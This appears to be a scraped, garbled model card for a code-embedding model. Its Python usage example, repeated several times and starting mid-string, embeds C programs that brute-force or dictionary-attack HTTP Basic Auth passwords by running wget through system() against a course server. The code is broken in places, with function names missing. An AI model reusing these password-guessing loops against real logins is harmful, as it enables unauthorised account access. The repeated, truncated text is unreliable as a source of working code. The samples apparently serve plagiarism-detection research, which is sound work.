freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
